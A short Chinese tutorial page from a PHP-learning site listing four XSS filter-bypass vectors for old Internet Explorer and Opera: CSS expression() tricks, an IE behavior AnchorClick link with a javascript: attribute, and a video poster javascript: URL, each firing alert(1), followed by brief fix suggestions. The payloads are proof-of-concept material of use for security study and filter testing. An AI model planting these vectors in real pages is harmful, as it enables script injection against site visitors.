来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 1、只针对IE6有效的xss,把style里面的expression换成全角字符。div style=x:expression(alert(1))IE6/div2、IE6-IE8,IE9的兼容模式有效的xss,插入如下的代码,当鼠标点击test即触发xss。...
1、只针对IE6有效的xss,把style里面的expression换成全角字符。
<div style="x:expression(alert(1))">IE6</div>
2、IE6-IE8,IE9的兼容模式有效的xss,插入如下的代码,当鼠标点击test即触发xss。
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>
3,只有Opera高版本才会触发
<video body="" poster="javascript:alert(1)//" tabindex="0">
</video>
插入代码.
4,style跨
<img src="../attachment/201212/184326416.jpg" alt="" style="xss:expre\ssion(alert(1))" border="0" />
http://3407504.blog.51cto.com/3397504/1059235
http://3407504.blog.51cto.com/3397504/1090792
修复方案:
1,转换字符编码.
2,behavior限制? 还是在代码后面加个_blank
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com